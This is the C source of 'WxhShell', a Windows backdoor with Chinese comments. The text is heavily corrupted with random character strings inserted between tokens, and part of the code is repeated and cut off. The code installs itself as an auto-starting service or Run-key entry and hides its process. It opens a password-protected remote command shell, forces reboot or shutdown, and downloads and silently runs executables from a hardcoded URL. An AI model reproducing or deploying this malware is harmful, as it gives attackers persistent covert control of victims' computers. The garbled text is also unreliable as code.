[hy:BV6H+ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5#jna9Xc oK3uGPi
if (!NtQueryInformationProcess) return 0; emZ^d/A vIBVp hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )
V}q7\G~ if(!hProcess) return 0; Izrf42 >k _4E .
P if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Vp3
9`m-W x+~IXi>Ig CloseHandle(hProcess); &cj/8A5- ^B9rt\,q hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HVb9YU+ if(hProcess==NULL) return 0; V>#iR>w_4, o`^GUY} HMODULE hMod; %(4G[R[ char procName[255]; cv fh:~L unsigned long cbNeeded; ibDMhW$n q|PB[*T if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _!FM^N}| _I_Sq,Z# CloseHandle(hProcess); ?uUK9*N :W5*fE(i if(strstr(procName,"services")) return 1; // 以服务启动 kr7f<;rmJ =
PldXw0 return 0; // 注册表启动 Z,o*M#} } ssW+'GD 6w K= // 主模块 7Z>u|L($m int StartWxhshell(LPSTR lpCmdLine) ,=lMtW { ^DHFP-G?e SOCKET wsl; L>{E8qv>w BOOL val=TRUE; [!{*)4$6 int port=0; 64}Oa+*s struct sockaddr_in door; M;W{A)0i1 Kzxzz6R? if(wscfg.ws_autoins) Install(); Vn1k C k%QhF] port=atoi(lpCmdLine); %"
$.2O@ zW%-Z6%D if(port<=0) port=wscfg.ws_port; !mpRLBH D8_m_M|P WSADATA data; 'j$iS W& if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; io
cr ro37H2^Ty if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; xkl'Y * setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \Ja%u"DA door.sin_family = AF_INET; ;9c3IK@ door.sin_addr.s_addr = inet_addr("127.0.0.1"); oUZwZ_yKW door.sin_port = htons(port); 7"= ,oDZ:";
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g'Ft5fQ"o/ closesocket(wsl); j._9;HifZ return 1; ltt%X].[ } >82Q!HaH E?&dZR if(listen(wsl,2) == INVALID_SOCKET) { 'q1)W' closesocket(wsl); ?7G?uk]3,@ return 1; xXZ$#z\Z, } {Cs~5jYz Wxhshell(wsl); G5zZf~r WSACleanup(); <_MQC -w 2!k return 0; ezlp~z"_k 5@j?7%_8 } @okC":Fw, .eXIbd<C // 以NT服务方式启动 Q"VFcp: VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >U"f1q*$ { .x6*9z#q DWORD status = 0; +n9&q#ah DWORD specificError = 0xfffffff; +d\"n BmUEo$w serviceStatus.dwServiceType = SERVICE_WIN32; 4cJ^L < serviceStatus.dwCurrentState = SERVICE_START_PENDING; 7*^\mycv serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sx8mba( serviceStatus.dwWin32ExitCode = 0; fJOU1% serviceStatus.dwServiceSpecificExitCode = 0; m*P~X*St serviceStatus.dwCheckPoint = 0; 9R>A,x( serviceStatus.dwWaitHint = 0; /j
-LW1:N i1vBg}WHN hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n5UcivyX
if (hServiceStatusHandle==0) return; (W3R3>; abD55YJY status = GetLastError(); 0Qw?.#[9 if (status!=NO_ERROR) =DE5Wq19 { Ym&_IOx serviceStatus.dwCurrentState = SERVICE_STOPPED; @Qruc\_ serviceStatus.dwCheckPoint = 0; ;#/b=j\pi serviceStatus.dwWaitHint = 0; N3vk<sr@ serviceStatus.dwWin32ExitCode = status; ' n4zFj+S serviceStatus.dwServiceSpecificExitCode = specificError; /c/!13| SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3`#sXt9C return; nUmA } ErB6fl {>QrI4*A serviceStatus.dwCurrentState = SERVICE_RUNNING; +ls *04 serviceStatus.dwCheckPoint = 0; HJBUN1n serviceStatus.dwWaitHint = 0; }K"=sE if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A &w)@DOe } E3,Z(dpX! w
\0=L=J // 处理NT服务事件,比如:启动、停止 9]|[z{v'>l VOID WINAPI NTServiceHandler(DWORD fdwControl) E_WiQ?p
{ 0plRsZ} switch(fdwControl) k6[t$|lMy { j@UW[,UI case SERVICE_CONTROL_STOP: TKoO\\ serviceStatus.dwWin32ExitCode = 0; } M'\s serviceStatus.dwCurrentState = SERVICE_STOPPED; 9jaYmY]~ serviceStatus.dwCheckPoint = 0; ,PRM(n - serviceStatus.dwWaitHint = 0; '.WYs! { }kL%l SetServiceStatus(hServiceStatusHandle, &serviceStatus); q7 Uu 8JXF } ?Dd2k%o return; hpWAQ#%oHm case SERVICE_CONTROL_PAUSE: ]N1$ioC# serviceStatus.dwCurrentState = SERVICE_PAUSED; qK|r+}g|& break; A!iH g__/t case SERVICE_CONTROL_CONTINUE: gADt%K2#Z serviceStatus.dwCurrentState = SERVICE_RUNNING; $6fHY\i#R break; \jq1F9, case SERVICE_CONTROL_INTERROGATE: *I'O_D break; .vQ2w }; n0Ze9W+< SetServiceStatus(hServiceStatusHandle, &serviceStatus); e"^1- U\ } MB^b)\X $Ae/NwIlc // 标准应用程序主函数 Gjy'30IF int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Duptles { 9Od
Kh\F ( ^Po\:x%o // 获取操作系统版本 k qwS/s OsIsNt=GetOsVer(); Ta/G GetModuleFileName(NULL,ExeFile,MAX_PATH); j?w7X?1( D
?,P\cp // 从命令行安装 \,p) if(strpbrk(lpCmdLine,"iI")) Install(); zb9d{e 8l!S<RA // 下载执行文件 L>@0Nne7 if(wscfg.ws_downexe) { Fdc bmQ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1`aFL5[0$ WinExec(wscfg.ws_filenam,SW_HIDE); >@H:+0h- } 3: mF! qViky=/- if(!OsIsNt) { X$JKEW;0BP // 如果时win9x,隐藏进程并且设置为注册表启动 2vj)3%:7#E HideProc(); Q.\+
XR_| StartWxhshell(lpCmdLine); xu+wi>Y^ } NSHlo*)} else iy$]9Wf6=@ if(StartFromService()) ) 3YE$, // 以服务方式启动 <PV @JJ" StartServiceCtrlDispatcher(DispatchTable); 3%<ia$ else BvX!n"QIb // 普通方式启动 qY14LdC}~ StartWxhshell(lpCmdLine); {R1jysGtD Z8'uZ#=Yw return 0; m"U\;Mw? } S'3l<sY |:H[Y"$1; []LNNO],X *"9b?`E =========================================== %gw0^^A t~U:{g~ NO* 1km[# >xP $A{ Y;#P"-yH P?TFX.p7 " Hk6Dwe[y GueqpEd2 #include <stdio.h> I"@5=m5 #include <string.h> fWKv3S1dT #include <windows.h> [eWB
vAiW #include <winsock2.h> .`)ICX #include <winsvc.h> ||L qx#e= #include <urlmon.h> ^lf;Lc cHJ
&a`; #pragma comment (lib, "Ws2_32.lib") M5%u>$2 #pragma comment (lib, "urlmon.lib") M6 0(yTm :_Ng`b/ #define MAX_USER 100 // 最大客户端连接数 /1MO]u\ #define BUF_SOCK 200 // sock buffer -u{k #define KEY_BUFF 255 // 输入 buffer Q'Q+mt8u5 |n6nRE wW #define REBOOT 0 // 重启 vaK$j!%FE #define SHUTDOWN 1 // 关机 rm"bplLZA W*U\79H #define DEF_PORT 5000 // 监听端口 AeUwih.
4 FirmzB Il5 #define REG_LEN 16 // 注册表键长度 A E7>jkHB #define SVC_LEN 80 // NT服务名长度 7Bmt^J5i&t C'5i>; // 从dll定义API v5<Ext
rV typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); VnIJ$5Y typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q~l&EH0 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _/MKU!\l typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
ze#LX4b I Y%wF;I1x // wxhshell配置信息 >nl*aN struct WSCFG { !vett4C* K int ws_port; // 监听端口 -{L[Wt{1 char ws_passstr[REG_LEN]; // 口令 GD*6tk;5/ int ws_autoins; // 安装标记, 1=yes 0=no fMLm_5 (H char ws_regname[REG_LEN]; // 注册表键名 Yq;S%. char ws_svcname[REG_LEN]; // 服务名 {kZhje^$vi char ws_svcdisp[SVC_LEN]; // 服务显示名 =VY[m-q5 char ws_svcdesc[SVC_LEN]; // 服务描述信息 @~a52'\ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?<F\S2W int ws_downexe; // 下载执行标记, 1=yes 0=no g<.VW0 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q) FL| char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [#2= w Wigm`A=,r }; /- kMzL X8*q[@$ // default Wxhshell configuration y'E)iI* struct WSCFG wscfg={DEF_PORT, !-2S(8 "xuhuanlingzhe", ~yO.R)4v 1, V?5_J% "Wxhshell", \=83#*KK "Wxhshell", =2`s Uw} "WxhShell Service", ~'T]B{.+J "Wrsky Windows CmdShell Service", C(?lp "Please Input Your Password: ", `9$?g|rB 1, K<|eZhp~ "http://www.wrsky.com/wxhshell.exe", n|^-qy'w "Wxhshell.exe" YR[Ii? }; ,L_p"A 6= 9 // 消息定义模块 JQbI^ef_; char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +F67g00T| char *msg_ws_prompt="\n\r? for help\n\r#>"; OjZ+gl} char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v3aiX char *msg_ws_ext="\n\rExit."; Vwv O@G7A char *msg_ws_end="\n\rQuit."; :.sK:W("v char *msg_ws_boot="\n\rReboot..."; 1S_KX. char *msg_ws_poff="\n\rShutdown..."; }b,a*4pN char *msg_ws_down="\n\rSave to "; >xH3*0Lp !^\|r<2M char *msg_ws_err="\n\rErr!"; 0>.'w\,87B char *msg_ws_ok="\n\rOK!"; )EcF[aO $'[(
DwLS char ExeFile[MAX_PATH]; ][_:{ N/ int nUser = 0; 9$d (`-&9p HANDLE handles[MAX_USER]; L!e@T' int OsIsNt; 78NAcP~6c :Eob"WH SERVICE_STATUS serviceStatus; ew"[]eZ:ut SERVICE_STATUS_HANDLE hServiceStatusHandle; u` v8wN2[fC // 函数声明 d5WE^H)E. int Install(void); sY1*WolA int Uninstall(void); ,~G[\2~p int DownloadFile(char *sURL, SOCKET wsh); uswz@
[pa int Boot(int flag); l kl#AH void HideProc(void); ,cbP yg int GetOsVer(void); 1lx\Pz@ol int Wxhshell(SOCKET wsl); _
k>j?j- void TalkWithClient(void *cs); /?by4v73P int CmdShell(SOCKET sock); A
7TP1 int StartFromService(void); 3HfT9 int StartWxhshell(LPSTR lpCmdLine); 2@A7i<p ;N4mR6 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wV(_=LF VOID WINAPI NTServiceHandler( DWORD fdwControl ); n}._Nb
5 (r7~ccy4 // 数据结构和表定义 cLB"<mG SERVICE_TABLE_ENTRY DispatchTable[] = $x`U)pv { Ya,>E@oc {wscfg.ws_svcname, NTServiceMain}, \W$>EH {NULL, NULL} qP]Gl--q{ }; ozGK
-$ 57r\s8 // 自我安装 ?DpMR/ int Install(void) OO\UF6MCU { 6%fU}si, char svExeFile[MAX_PATH]; 9^jO^[> HKEY key; 9$Hgh7'hvs strcpy(svExeFile,ExeFile); ql_aDoj `Y+p7*Qr2 // 如果是win9x系统,修改注册表设为自启动 eJ?SLMLY if(!OsIsNt) { 9]kWM]B)o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /j.V0% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?{^T&<18t RegCloseKey(key); O-: ~6A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8
A2k-X, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zJ@f {RWZa RegCloseKey(key); lYq
R6^ return 0; "_5av!;A
g } BeplS } 1L^\TC } +n%WmRf6! else { qt3\*U7x 3
vE;s"/ // 如果是NT以上系统,安装为系统服务 m~X:KwK4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \N;s@j W if (schSCManager!=0) TrHBbyqk { PRf2@0ZV SC_HANDLE schService = CreateService \d
v9:X$ ( 4?d2#Xhs8 schSCManager, G =lC[i wscfg.ws_svcname, -<CBxyZa& wscfg.ws_svcdisp, (\SxG\` SERVICE_ALL_ACCESS, #mtlgK' SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vY.p~3q :) SERVICE_AUTO_START, ~/gqXT"> SERVICE_ERROR_NORMAL, ;.m"y- svExeFile, 5)EnOT"' NULL, JkpA
\<
NULL, K _y;<a] NULL, [j:%O|h NULL, =SLJkw&w6 NULL *y.KD4@{ ); q
\0>SG if (schService!=0) Hh;7 hY\ { Is%-r.i CloseServiceHandle(schService); u,/PJg-(! CloseServiceHandle(schSCManager); Q%KS$nP9 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
N)&3(A@ strcat(svExeFile,wscfg.ws_svcname); _L&C4 <e' if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q2iu}~ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Rrk3EL RegCloseKey(key); uv._N6mj return 0; xNl_Q8Z?R^ } UJlKw `4 } C+2*m=r CloseServiceHandle(schSCManager); O (wt[AEA } E[e '' } 8Gs{Zfp!D wVw3YIN# return 1; _`ot||J } ?l
bK;Kv r=s2wjk // 自我卸载 |8V+(Vzl int Uninstall(void) \W#M]Q { Qv[@ioc HKEY key; s{hJ"lv: Z
wIsEJz if(!OsIsNt) { 'rU5VrK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "EHwv2Hm> RegDeleteValue(key,wscfg.ws_regname); oXb}6YC RegCloseKey(key); [% YCupr# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o^5xCK:Oi2 RegDeleteValue(key,wscfg.ws_regname); iQs(Dh=* RegCloseKey(key); dt;R return 0; WEWNFTI } )I`B+c: } M(SH3~ } P62g7>B5^ else { ]6FpUF#<D bIwt#:v SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P(qUx9 if (schSCManager!=0) LXfDXXF { u9sffX5x[J SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xUzfBn if (schService!=0) m$0T" `AP` { 'TezUBRAz if(DeleteService(schService)!=0) { B!rY\ ?W CloseServiceHandle(schService); _fa2ntuS=f CloseServiceHandle(schSCManager); +>37'PD return 0; $Jx]
FZDQ } YV 2T$#7u CloseServiceHandle(schService); JtvAi\52$ } dsrzXmE0 CloseServiceHandle(schSCManager); BTGPP@p4 } If2f7{b } _ jF,
k>F YDdmT7Ow return 1; m[(2 } [7Q |vu s$| GVv1B // 从指定url下载文件 F0]NtKaH int DownloadFile(char *sURL, SOCKET wsh) Y|>y]x { :J}L| `U9 HRESULT hr; FL"7u2rh, char seps[]= "/"; ;NBJ@E, char *token; gQ/-.1Pz$ char *file; r1JKTuuo char myURL[MAX_PATH]; ?neXs-'-p char myFILE[MAX_PATH]; *)H?d x>Q\j>^ strcpy(myURL,sURL); >>F E?@ token=strtok(myURL,seps); 9;sebqC? while(token!=NULL) $hn#T#J3 { 4*G#fW- file=token; Mp}aJzmkB; token=strtok(NULL,seps); j^mAJ5 } g]N!_Ib/! Z2j
M.[hq GetCurrentDirectory(MAX_PATH,myFILE); Vw<=& w #K strcat(myFILE, "\\"); 9<G-uF strcat(myFILE, file); &0+;E-_ send(wsh,myFILE,strlen(myFILE),0); M&:[3u- send(wsh,"...",3,0); Ihw^g<X hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Yfs60f if(hr==S_OK) t1wNOoRa return 0; S:+SZq else }p]8'($ return 1; fiES6VL C`%cPl } m\O<Yc keA 6;"jq92in* // 系统电源模块 +MvcW.W~ int Boot(int flag) Qis[j-?: { u
@?n3l HANDLE hToken; `XE8[XY TOKEN_PRIVILEGES tkp; V80g+)| *[9FPya if(OsIsNt) { IlN9IF\9L OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9l+'V0?` LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~jQ|X?tR tkp.PrivilegeCount = 1; 7%b?[}y4 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mr,IP=e~ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S bc if(flag==REBOOT) { -M/DOTc if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) DW\';" return 0; ~Uz,%zU#3 } jhr:QS/9 else { >\+c@o[ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &O/;YGEAB return 0; g+bc4eU } [u`v'*0d } \L($;8`\ else { ?h2!Z{[0b if(flag==REBOOT) { kn:X^mDXC/ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?>92OuG%W? return 0; ^7G@CBic" } f!|7j}3 else { wrSw> sE" if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S8(Y+jgk;a return 0; lZCTthr\ } 2_'{f1bVxz } ^_0zO$z, p2cwW/^V return 1; (&H-v'a}3 } H$bu*o-Z 8E`A`z // win9x进程隐藏模块 VEj-%"\ void HideProc(void) b1>zGC^| { *~YU0o yU<T_&M
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); __dSEOGoe if ( hKernel != NULL ) ?Imq4I~) { !VBl/ aU@ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); X,DG2HT ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7jPPN FreeLibrary(hKernel); f*)8bZDD } >rJ9^rS l6]:Zcd0 return; l.[S.@\ =. } SM;UNIRVE W@Et // 获取操作系统版本 0eP7efy int GetOsVer(void) <]1Z { T?B753I OSVERSIONINFO winfo; 0'j/ 9vm winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -9W)|toWb" GetVersionEx(&winfo); O~D>F*_^j if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) YGFE(t;lPU return 1; eLPWoQXt else qtlXDgppO return 0; `>'%!E9G } :E`/z@I 4}-{sS}MP // 客户端句柄模块 +||y/}1 int Wxhshell(SOCKET wsl) jiw5>RNt { moz*=a SOCKET wsh; !(2rU @. struct sockaddr_in client; Ns
ezUk8' DWORD myID; )zn`qaHK@e Lmh4ezrdH while(nUser<MAX_USER) O\0]o! { L{PH8Xl_ int nSize=sizeof(client); 'y_<O |- wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -|_#6-9 if(wsh==INVALID_SOCKET) return 1; "]H_;:{f %?
87#| handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `_"F7Czn if(handles[nUser]==0) . l1uqCuB closesocket(wsh); fib#)KE else d!>.$|b nUser++; vNo(`~]c } T'C^,,if WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'Z;8-1M?O :]]#X
~J return 0; X0\O3l*j } LKC^Y)6o $?`-} wY // 关闭 socket }KFf void CloseIt(SOCKET wsh) Hst]}g' . { *n]f) Jc closesocket(wsh); #POVu|Y;h nUser--; :[P)t
% ExitThread(0); A?)nLp&Y } kz=Ql|@ ZRCm'p3 // 客户端请求句柄 )(CZK&< void TalkWithClient(void *cs) m+m2<|%x { t_ju[xL5B kn5X:@{ SOCKET wsh=(SOCKET)cs; ^qR2 !fwm< char pwd[SVC_LEN]; ;-]' OiS; char cmd[KEY_BUFF]; )SjhOvm char chr[1]; - 2DvKW$ int i,j; +wPXDN#R ;zF3e&e( while (nUser < MAX_USER) { VAD9mS^~ |!Ryl}Oi if(wscfg.ws_passstr) { Hs6?4cgj if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E@}
NV|90 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YmwUl> @{ //ZeroMemory(pwd,KEY_BUFF);
}.DE521u i=0; \mo NpKf while(i<SVC_LEN) { IJ[r!&PY (D5sJ$&E@\ // 设置超时 cVb&Jzd fd_set FdRead; pHNo1-k\ struct timeval TimeOut; Z(h.)$yH*= FD_ZERO(&FdRead); Wxeg(L}E FD_SET(wsh,&FdRead); c;6[lv TimeOut.tv_sec=8; Nv[MU@Tv TimeOut.tv_usec=0; L|hoA9/] int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
m.6O%jD if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UgD|tuz] or<n[<D-C if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uCB>".'kM pwd=chr[0]; Ez)hArxns if(chr[0]==0xd || chr[0]==0xa) { Bz+zEXBC pwd=0; R"2wop break; %$Smei } 5|<j Pc i++; ](@HPAG] } :z-UnC||j #Ch*a.tI@ // 如果是非法用户,关闭 socket ~vPR9\e if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .D8|_B } Tf*DFyr 4AWL::FU5 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =tS#t+2S send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ybY[2g2QJ N e<D'- while(1) { R\T1R"1 Q\moR^> ZeroMemory(cmd,KEY_BUFF); {VmJVO]S gJFx#s0?6. // 自动支持客户端 telnet标准 'W_u1l/ j=0; fHV%.25 while(j<KEY_BUFF) { Kg;u.4.-M if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c>b!{e@* cmd[j]=chr[0]; ZZ*+Tl\
s if(chr[0]==0xa || chr[0]==0xd) { Q1[3C( cmd[j]=0; qP k`e}D break; `k;MGs)& } CM`B0[B j++; b/soU2?^ } o)2KQ$b>Q C{<H)?]*BF // 下载文件 x>!bvZ2 if(strstr(cmd,"http://")) { 23p1Lb9P send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~W..P:wG5 if(DownloadFile(cmd,wsh)) ks|c'XQb send(wsh,msg_ws_err,strlen(msg_ws_err),0); JYw_Z*L=m else b4?]/Uy+/ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h1
npaD! } MBn ZO else { ;@<Rh^g] rNN,! switch(cmd[0]) { 3YO%$ J\l'nqS" // 帮助 [k<.BCE case '?': { E'
_6v send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `i5 \(cdl break; MLT^7'y } UP .4# 1I // 安装 r
"uQ| case 'i': { IY"+hHt if(Install()) |>zYUT[V send(wsh,msg_ws_err,strlen(msg_ws_err),0); 80GBkFjV else M*
0zvNg
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); or
qL0i break; uA[c$tBe } H3>49;` // 卸载 (jp!q,) case 'r': { :\F1S:&P if(Uninstall()) b!4Z~d0= send(wsh,msg_ws_err,strlen(msg_ws_err),0); f2iA5 rCV] else #V$h?`qhwr send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); up!54}qy break; 8G )O,F7z } Ud& '*, // 显示 wxhshell 所在路径 *!r"+?0gN case 'p': { KXf(v4 char svExeFile[MAX_PATH]; N8KH.P+ strcpy(svExeFile,"\n\r"); Ib(G!oO:E- strcat(svExeFile,ExeFile); (.pi ,+Ws send(wsh,svExeFile,strlen(svExeFile),0); !O 0{ .k break; ],-(YPiAD } )}$]~
f4R // 重启 7h#*djef case 'b': { tjg?zlj send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XGb*LY+Db6 if(Boot(REBOOT)) Ws/\lD send(wsh,msg_ws_err,strlen(msg_ws_err),0); {!&^VXZIT else { !~Ptnr`; closesocket(wsh); z'01V8e ExitThread(0); Y !%2vOt } :|%1i>O break; GS&I6 } -2B3 xIZJ // 关机 _$KEE|9 case 'd': { ,4HZ-|EOZ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); puAjAvIax if(Boot(SHUTDOWN)) Oq*;GR(Q send(wsh,msg_ws_err,strlen(msg_ws_err),0); Oy_%U* else { | Di7,$c closesocket(wsh); y>>)Yo&| ExitThread(0); *cP(3n3]R } Aa+<4
R break; kx,3[qe'S } %v4*$E!f // 获取shell DX_?-jw})f case 's': { VA5f+c/ % CmdShell(wsh); v^dQ%+}7> closesocket(wsh); jG`,k*eUrJ ExitThread(0); Bn{i+8I break; sSy!mtS } 8ly6CP+^B // 退出 @|:yK|6O case 'x': { muMd9\p send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qVssw* GDB CloseIt(wsh); 88KQ) NU break; ^c]c`w } ^'p!#\T;H // 离开 vA2>&YDFX case 'q': { q 7-ZPX send(wsh,msg_ws_end,strlen(msg_ws_end),0); T3NH8nH9"z closesocket(wsh); w<u@L WSACleanup(); [jR>.H' exit(1); 0Ibe~!EiQJ break; q"i]&dMr } VCzb[. } G
2`hEX% } ++ZP
X'| a@^)?cH!z // 提示信息 biG :Xn if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @<3kj
R?j } twhT6wz" } >d(:XP6J uO>pl37@ return; S$=caZ? } J1w,;T\55 seVT|z // shell模块句柄 }.1}yz^y int CmdShell(SOCKET sock) +;,X?E] g { %\L{Ud%7 STARTUPINFO si; 5+2qx)FZ ZeroMemory(&si,sizeof(si)); :F_>`{ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^Y%<$IFG si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6_&S
?yA PROCESS_INFORMATION ProcessInfo; "E@A~<RKP char cmdline[]="cmd"; z31g" CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nRyx2\Py+ return 0; mQ9y{}t=4 } \opcn\vW .X5A7 m // 自身启动模式 F:sUGM, int StartFromService(void) {e5- { {55f{5y3
c typedef struct H<tU[U=G { "xNP"S DWORD ExitStatus; i91k0q*di DWORD PebBaseAddress; 6tGF DWORD AffinityMask; yg6o#; DWORD BasePriority; wq|7sk{ ULONG UniqueProcessId; &dPI<HlM ULONG InheritedFromUniqueProcessId; N85ZbmU~
} PROCESS_BASIC_INFORMATION; p
+nh] U02 PROCNTQSIP NtQueryInformationProcess; +,Or^pO= dsOt(yNo static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?zf3AZ9 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uPC(|U% }:Y)DH%u HANDLE hProcess; yMD3h$w3a PROCESS_BASIC_INFORMATION pbi; CM6! 1 7 2St<m-& HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;U3K@_ if(NULL == hInst ) return 0; 1p$ *N /l+"aKW
2 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :2V|(:^' g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1,7
}ah_ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <rvM)EJv| hkRqtpYK if (!NtQueryInformationProcess) return 0; b`JS&E v4K! BW hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WM%w_,Z if(!hProcess) return 0; #xfav19{. EnmMFxu< if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qDqy9u:g #guK&?Fye CloseHandle(hProcess); mM~&mAa+Z JmeE}:5lpj hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A%X=yqY if(hProcess==NULL) return 0; h(^c5#. Z;[xaP\S HMODULE hMod; ,L
MN@G char procName[255]; hUX8j9N> unsigned long cbNeeded; T`,G57-5 vY"I if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o2;Eti +_25E.>ml CloseHandle(hProcess); KdD~;Ap$ {c~w
